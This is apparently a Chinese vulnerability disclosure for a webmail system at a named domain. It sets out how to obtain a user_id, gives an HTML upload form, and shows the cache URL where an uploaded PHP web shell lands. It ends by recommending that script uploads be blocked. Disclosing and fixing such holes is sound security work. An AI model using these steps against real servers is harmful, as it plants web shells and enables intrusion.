先登录官方测试站点:
这里登录的账号为:mailtest3721
再获取当前登录用户的user_id
http://mail.comingchina.com/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=mailtest3721
这里mailtest3721对应的user_id为:78609
1
2
3
4
5
6
7
|
<meta http-equiv= "Content-Type" content= "text/html; charset=utf-8" />
上传文件:<input type= "file" name= "Filedata" size= "30" >
<INPUT type=submit value=上传 name=Submit>
|
上传后获取"file_id":"13995534500"
shell地址:
http://mail.comingchina.com/webmail/client/cache/{user_id}/{file_id}.php
这里是:
http://mail.comingchina.com/webmail/client/cache/78609/13995534500.php
修复方案:
禁止上传php等脚本文件。 |